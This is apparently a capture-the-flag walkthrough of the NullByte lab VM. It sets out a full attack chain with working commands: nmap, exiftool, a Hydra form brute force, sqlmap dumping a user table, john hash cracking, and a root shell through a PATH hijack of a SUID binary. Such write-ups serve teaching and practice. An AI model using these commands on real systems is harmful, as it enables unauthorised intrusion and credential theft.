NullByte is a box that rewards patience — it's got four or five layers and each one requires a different tool. The gif metadata trick for the hidden directory is one I'd not hit before, and the PATH hijack at the end via a SUID binary running ps is the kind of privesc that looks obvious only after you've seen it. Total time was around three hours. Walked away with a clean chain and a reminder to always run exiftool on any image on a web page.
01_Reconnaissance
Standard netdiscover to confirm the target IP, then a full nmap scan. Three ports: SSH on 22, HTTP on 80, and a high port running phpbash or similar. The web server on 80 is the starting point — landing page renders a single background image, main.gif.
$ netdiscover -r 192.168.56.0/24 192.168.56.101 08:00:27:xx:xx:xx VirtualBox $ nmap -sV -sC -p- 192.168.56.101 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 80/tcp open http Apache httpd 2.4.10 777/tcp open ssh OpenSSH 6.7p1 Two SSH services — one on standard 22, one on 777. Note that for later.
02_Exiftool_Steganography_on_main.gif
The landing page has no visible links, no forms, nothing except that main.gif. Grabbed it and ran exiftool — there's a comment field in the metadata with a directory path. Classic steg-by-metadata.
$ wget http://192.168.56.101/main.gif $ exiftool main.gif ExifTool Version Number : 12.xx File Name : main.gif Comment : kzMb5nVYJw $ curl http://192.168.56.101/kzMb5nVYJw/ <form>Enter key: <input name="key"></form>
Technique — Metadata as Breadcrumb
Exiftool reads EXIF, IPTC, and XMP metadata from images. CTF authors sometimes hide hints in the Comment, Author, or Copyright fields. Always worth a quick exiftool filename on any image you pull from a target web server.
03_Hydra_HTTP_Form_Brute
The directory at /kzMb5nVYJw/ has a simple key input form. No username — just a passphrase gate. Ran Hydra against it with the http-form-post module. Got a hit on "elite" after a few thousand attempts. Behind the key gate is 420search.php — a search interface backed by a MySQL database.
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt \ 192.168.56.101 http-form-post \ "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" [80][http-post-form] host: 192.168.56.101 login: admin password: elite $ curl -s "http://192.168.56.101/kzMb5nVYJw/420search.php?usrtosearch=a" [search results with user data]
04_SQLmap_on_420search.php
420search.php takes a usrtosearch GET parameter. Passed it straight into sqlmap with the cookie session — it confirms blind SQLi within about 30 seconds. Dumped the seth database and pulled a user table with a username and a hashed password for the user ramses.
$ sqlmap -u "http://192.168.56.101/kzMb5nVYJw/420search.php?usrtosearch=a" \ --cookie="PHPSESSID=xxxx" --dbs available databases [2]: [*] information_schema [*] seth $ sqlmap -u "..." -D seth --tables [1 table] → users $ sqlmap -u "..." -D seth -T users --dump +--------+-------+------------------------------------------+ | user | pass | position | +--------+-------+------------------------------------------+ | ramses | [REDACTED hash] | ... | +--------+-------+------------------------------------------+
The hash resolves to a plaintext password via an online cracker — or john with rockyou. Took about ten seconds.
$ echo "[REDACTED]" > hash.txt $ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 Using default input encoding: UTF-8 [REDACTED] (ramses) 1g 0:00:00:02 DONE
05_SSH_on_Port_777
We've got the credentials for ramses now. Earlier nmap showed SSH running on port 777 as well as 22 — standard SSH on 22 rejects the login, but port 777 accepts it. Once in, we land in ramses's home directory. Not much there, but a look at bash history shows a very interesting command: running the binary at /var/www/backup/procwatch.
$ ssh ramses@192.168.56.101 -p 777 ramses@NullByte:~$ $ cat ~/.bash_history sudo -s su eric ls -lah nano -w /var/www/html/uploads/ ps aux /var/www/backup/procwatch $ ls -la /var/www/backup/procwatch -rwsr-xr-x 1 root root 4932 Aug 2 2015 /var/www/backup/procwatch SUID bit set — runs as root. $ /var/www/backup/procwatch PID TT STAT TIME COMMAND 3200 tty1 S 0:00 sshd: ramses [priv] 3201 tty1 S 0:00 ps
06_PrivEsc_via_PATH_Hijack
The binary is running ps without an absolute path. Classic PATH hijack. Create a fake ps that spawns a shell, prepend /tmp to PATH, run procwatch — it executes as root, calls our fake ps, and we get a root shell. Three commands.
# Create the malicious ps binary in /tmp ramses@NullByte:~$ echo "/bin/bash" > /tmp/ps ramses@NullByte:~$ chmod +x /tmp/ps # Prepend /tmp to PATH ramses@NullByte:~$ export PATH=/tmp:$PATH # Run the SUID procwatch binary — it now calls /tmp/ps ramses@NullByte:~$ /var/www/backup/procwatch root@NullByte:/var/www/backup# id uid=0(root) gid=0(root) groups=0(root) root@NullByte:~# cat /root/proof.txt [REDACTED]
Technique — PATH Hijacking with SUID Binaries
When a SUID binary executes another program using a relative path (just ps instead of /usr/bin/ps), it searches $PATH in order. Prepending a directory you control means your binary runs first — and because the caller has SUID root, your shell inherits root. The fix on the defender side is trivially using absolute paths. It still shows up in real-world environments though, particularly with custom internal tooling.
07_Attack_Chain_Summary
- 01 Netdiscover + nmap → SSH on 22 & 777, HTTP on 80
- 02 Fetch main.gif → exiftool → Comment = kzMb5nVYJw (hidden directory)
- 03 Hydra http-form-post on /kzMb5nVYJw/ → key = elite
- 04 sqlmap on 420search.php → dump seth.users → ramses hash
- 05 John / online cracker → plaintext password for ramses
- 06 SSH port 777 as ramses → .bash_history → /var/www/backup/procwatch SUID
- 07 Create /tmp/ps (/bin/bash), export PATH=/tmp:$PATH, run procwatch → root shell
- 08 cat /root/proof.txt → [REDACTED]